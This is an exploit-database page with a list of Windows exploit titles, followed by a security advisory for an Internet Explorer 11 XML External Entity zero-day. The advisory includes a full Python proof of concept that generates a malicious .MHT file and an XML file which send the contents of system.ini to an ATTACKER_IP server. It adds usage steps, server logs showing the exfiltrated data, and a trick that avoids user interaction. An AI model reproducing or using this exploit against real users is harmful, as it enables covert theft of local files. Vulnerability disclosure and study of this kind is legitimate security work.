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"Microsoft Internet Explorer 11 - XML External Entity Injection"

Author

hyp3rlinx

Platform

windows

Release date

2019-04-12

Release Date Title Type Platform Author
2019-06-21 "EA Origin < 10.5.38 - Remote Code Execution" remote windows "Dominik Penner"
2019-06-20 "Tuneclone 2.20 - Local SEH Buffer Overflow" local windows Achilles
2019-06-17 "Microsoft Windows - UAC Protection Bypass (Via Slui File Handler Hijack) (PowerShell)" local windows Gushmazuko
2019-06-17 "HC10 HC.Server Service 10.14 - Remote Invalid Pointer Write" dos windows hyp3rlinx
2019-06-14 "Aida64 6.00.5100 - 'Log to CSV File' Local SEH Buffer Overflow" local windows "Nipun Jaswal"
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2019-06-11 "ProShow 9.0.3797 - Local Privilege Escalation" local windows Yonatan_Correa
2019-06-05 "IBM Websphere Application Server - Network Deployment Untrusted Data Deserialization Remote Code Execution (Metasploit)" remote windows Metasploit
2019-06-07 "Microsoft Windows - AppX Deployment Service Local Privilege Escalation (3)" local windows SandboxEscaper
2019-06-03 "Nvidia GeForce Experience Web Helper - Command Injection" local windows "Rhino Security Labs"
2019-06-04 "DVD X Player 5.5 Pro - Local Buffer Overflow (SEH)" local windows "Kevin Randall"
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2019-05-30 "Microsoft Windows Remote Desktop - 'BlueKeep' Denial of Service" dos windows n1xbyte
2019-05-28 "Petraware pTransformer ADC < 2.1.7.22827 - Login Bypass" remote windows "Faudhzan Rahman"
2019-05-23 "Microsoft Windows - AppX Deployment Service Local Privilege Escalation (2)" local windows SandboxEscaper
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2019-05-24 "Microsoft Internet Explorer Windows 10 1809 17763.316 - Scripting Engine Memory Corruption" remote windows "Simon Zuckerbraun"
2019-05-24 "Axessh 4.2 - 'Log file name' Local Stack-based Buffer Overflow" local windows "Uday Mittal"
2019-05-15 "Microsoft Windows - 'Win32k' Local Privilege Escalation" local windows ExpLife0011
2019-05-22 "Microsoft Internet Explorer 11 - Sandbox Escape" local windows SandboxEscaper
2019-05-22 "Microsoft Windows (x84) - Task Scheduler' .job' Import Arbitrary Discretionary Access Control List Write / Local Privilege Escalation" local windows SandboxEscaper
2019-05-23 "Microsoft Windows 10 1809 - 'CmKeyBodyRemapToVirtualForEnum' Arbitrary Key Enumeration Privilege Escalation" local windows "Google Security Research"
2019-05-22 "Microsoft Windows (x84/x64) - 'Error Reporting' Discretionary Access Control List / Local Privilege Escalation" local windows SandboxEscaper
2019-05-23 "Microsoft Windows 10 (17763.379) - Install DLL" local windows SandboxEscaper
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2019-05-24 "Cyberoam General Authentication Client 2.1.2.7 - 'Server Address' Denial of Service (PoC)" dos windows "Victor Mondragón"
2019-05-24 "Cyberoam Transparent Authentication Suite 2.1.2.5 - 'NetBIOS Name' Denial of Service (PoC)" dos windows "Victor Mondragón"
2019-05-24 "Cyberoam Transparent Authentication Suite 2.1.2.5 - 'Fully Qualified Domain Name' Denial of Service (PoC)" dos windows "Victor Mondragón"
2019-05-24 "Cyberoam SSLVPN Client 1.3.1.30 - 'HTTP Proxy' Denial of Service (PoC)" dos windows "Victor Mondragón"
Release Date Title Type Platform Author
2019-06-17 "HC10 HC.Server Service 10.14 - Remote Invalid Pointer Write" dos windows hyp3rlinx
2019-05-03 "Windows PowerShell ISE - Remote Code Execution" local windows hyp3rlinx
2019-04-12 "Microsoft Internet Explorer 11 - XML External Entity Injection" local windows hyp3rlinx
2019-03-13 "Microsoft Windows - .reg File / Dialog Box Message Spoofing" dos windows hyp3rlinx
2019-01-23 "Microsoft Windows CONTACT - HTML Injection / Remote Code Execution" local windows hyp3rlinx
2019-01-17 "Microsoft Windows CONTACT - Remote Code Execution" local windows hyp3rlinx
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2018-08-29 "Argus Surveillance DVR 4.0.0.0 - Directory Traversal" webapps windows_x86 hyp3rlinx
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2017-09-28 "Trend Micro OfficeScan 11.0/XG (12.0) - Information Disclosure" webapps php hyp3rlinx
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2017-09-28 "Trend Micro OfficeScan 11.0/XG (12.0) - Private Key Disclosure" webapps php hyp3rlinx
2017-08-21 "Apache2Triad 1.5.4 - Multiple Vulnerabilities" webapps php hyp3rlinx
2017-06-05 "Subsonic 6.1.1 - Cross-Site Request Forgery / Cross-Site Scripting" webapps windows hyp3rlinx
2017-06-05 "Subsonic 6.1.1 - Server-Side Request Forgery" webapps windows hyp3rlinx
2017-06-05 "Subsonic 6.1.1 - Cross-Site Request Forgery" webapps windows hyp3rlinx
2017-05-20 "Mantis Bug Tracker 1.3.10/2.3.0 - Cross-Site Request Forgery" webapps php hyp3rlinx
2017-05-15 "Mailcow 0.14 - Cross-Site Request Forgery" webapps php hyp3rlinx
2017-04-16 "Mantis Bug Tracker 1.3.0/2.3.0 - Password Reset" webapps php hyp3rlinx
2017-04-14 "Concrete5 CMS 8.1.0 - 'Host' Header Injection" webapps php hyp3rlinx
2017-03-31 "Splunk Enterprise - Information Disclosure" webapps multiple hyp3rlinx
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/46690/?format=json')
                                                {"url": "https://www.nmmapper.com/api/exploitdetails/46690/?format=json", "download_file": "https://www.nmmapper.com/st/exploitdetails/46690/41133/microsoft-internet-explorer-11-xml-external-entity-injection/download/", "exploit_id": "46690", "exploit_description": "\"Microsoft Internet Explorer 11 - XML External Entity Injection\"", "exploit_date": "2019-04-12", "exploit_author": "hyp3rlinx", "exploit_type": "local", "exploit_platform": "windows", "exploit_port": null}
                                            

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[+] Credits: John Page (aka hyp3rlinx)		
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/MICROSOFT-INTERNET-EXPLORER-v11-XML-EXTERNAL-ENTITY-INJECTION-0DAY.txt
[+] ISR: ApparitionSec          
 

[Vendor]
www.microsoft.com


[Product]
Microsoft Internet Explorer v11
(latest version)

Internet Explorer is a series of graphical web browsers developed by Microsoft and included in the Microsoft Windows line of operating systems, starting in 1995.


[Vulnerability Type]
XML External Entity Injection



[CVE Reference]
N/A



[Security Issue]
Internet Explorer is vulnerable to XML External Entity attack if a user opens a specially crafted .MHT file locally.

This can allow remote attackers to potentially exfiltrate Local files and conduct remote reconnaissance on locally installed
Program version information. Example, a request for "c:\Python27\NEWS.txt" can return version information for that program.

Upon opening the malicious ".MHT" file locally it should launch Internet Explorer. Afterwards, user interactions like duplicate tab "Ctrl+K"
and other interactions like right click "Print Preview" or "Print" commands on the web-page may also trigger the XXE vulnerability.

However, a simple call to the window.print() Javascript function should do the trick without requiring any user interaction with the webpage.
Importantly, if files are downloaded from the web in a compressed archive and opened using certain archive utilities MOTW may not work as advertised.

Typically, when instantiating ActiveX Objects like "Microsoft.XMLHTTP" users will get a security warning bar in IE and be prompted
to activate blocked content. However, when opening a specially crafted .MHT file using malicious <xml> markup tags the user will get no such
active content or security bar warnings.

e.g.

C:\sec>python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
127.0.0.1 - - [10/Apr/2019 20:56:28] "GET /datatears.xml HTTP/1.1" 200 -
127.0.0.1 - - [10/Apr/2019 20:56:28] "GET /?;%20for%2016-bit%20app%20support[386Enh]woafont=dosapp.fonEGA80WOA.FON=EGA80WOA.FONEGA40WOA.FON=EGA40WOA.FONCGA80WOA.FON=CGA80WOA.FONCGA40WOA.FON=CGA40WOA.FON[drivers]wave=mmdrv.dlltimer=timer.drv[mci] HTTP/1.1" 200 -


Tested successfully in latest Internet Explorer Browser v11 with latest security patches on Win7/10 and Server 2012 R2.



[POC/Video URL]
https://www.youtube.com/watch?v=fbLNbCjgJeY



[Exploit/POC]
POC to exfil  Windows "system.ini" file.
Note: Edit attacker server IP in the script to suit your needs.

1) Use below script to create the "datatears.xml" XML and XXE embedded "msie-xxe-0day.mht" MHT file.

2) python -m SimpleHTTPServer

3) Place the generated "datatears.xml" in Python server web-root.

4) Open the generated "msie-xxe-0day.mht" file, watch your files be exfiltrated.


#Microsoft Internet Explorer XXE 0day
#Creates malicious XXE .MHT and XML files
#Open the MHT file in MSIE locally, should exfil system.ini
#By hyp3rlinx 
#ApparitionSec

ATTACKER_IP="localhost"
PORT="8000"

mht_file=(
'From:\n'
'Subject:\n'
'Date:\n'
'MIME-Version: 1.0\n'
'Content-Type: multipart/related; type="text/html";\n'
'\tboundary="=_NextPart_SMP_1d4d45cf4e8b3ee_3ddb1153_00000001"\n'
'This is a multi-part message in MIME format.\n\n\n'

'--=_NextPart_SMP_1d4d45cf4e8b3ee_3ddb1153_00000001\n'
'Content-Type: text/html; charset="UTF-8"\n'
'Content-Location: main.htm\n\n'

'<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/transitional.dtd">\n'
'<html>\n'
'<head>\n'
'<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />\n'
'<title>MSIE XXE 0day</title>\n'
'</head>\n'
'<body>\n'
'<xml>\n'
'<?xml version="1.0" encoding="utf-8"?>\n'
'<!DOCTYPE r [\n'
'<!ELEMENT r ANY >\n'
'<!ENTITY % sp SYSTEM "http://'+str(ATTACKER_IP)+":"+PORT+'/datatears.xml">\n'
'%sp;\n'
'%param1;\n'
']>\n'
'<r>&exfil;</r>\n'
'<r>&exfil;</r>\n'
'<r>&exfil;</r>\n'
'<r>&exfil;</r>\n'
'</xml>\n'
'<script>window.print();</script>\n'
'<table cellpadding="0" cellspacing="0" border="0">\n'
'<tr>\n'
'<td class="contentcell-width">\n'
'<h1>MSIE XML External Entity 0day PoC.</h1>\n'
'<h3>Discovery: hyp3rlinx</h3>\n'
'<h3>ApparitionSec</h3>\n'
'</td>\n'
'</tr>\n'
'</table>\n'
'</body>\n'
'</html>\n\n\n'

'--=_NextPart_SMP_1d4d45cf4e8b3ee_3ddb1153_00000001--'
)

xml_file=(
'<!ENTITY % data SYSTEM "c:\windows\system.ini">\n'
'<!ENTITY % param1 "<!ENTITY exfil SYSTEM \'http://'+str(ATTACKER_IP)+":"+PORT+'/?%data;\'>">\n'
'<!ENTITY % data SYSTEM "file:///c:/windows/system.ini">\n'
'<!ENTITY % param1 "<!ENTITY exfil SYSTEM \'http://'+str(ATTACKER_IP)+":"+PORT+'/?%data;\'>">\n'
)

def mk_msie_0day_filez(f,p):
    f=open(f,"wb")
    f.write(p)
    f.close()


if __name__ == "__main__":
    mk_msie_0day_filez("msie-xxe-0day.mht",mht_file)
    mk_msie_0day_filez("datatears.xml",xml_file)
    print "Microsoft Internet Explorer XML External Entity 0day PoC."
    print "Files msie-xxe-0day.mht and datatears.xml Created!."
    print "Discovery: Hyp3rlinx / Apparition Security"

    


[Network Access]
Remote



[Severity]
High



[Disclosure Timeline]
Vendor Notification: March 27, 2019
Vendor acknowledgement: March 27, 2019 
Case Opened: March 28, 2019
MSRC reponse April 10, 2019: "We determined that a fix for this issue will be considered in a future version of this product or service.
At this time, we will not be providing ongoing updates of the status of the fix for this issue, and we have closed this case."
April 10, 2019 : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx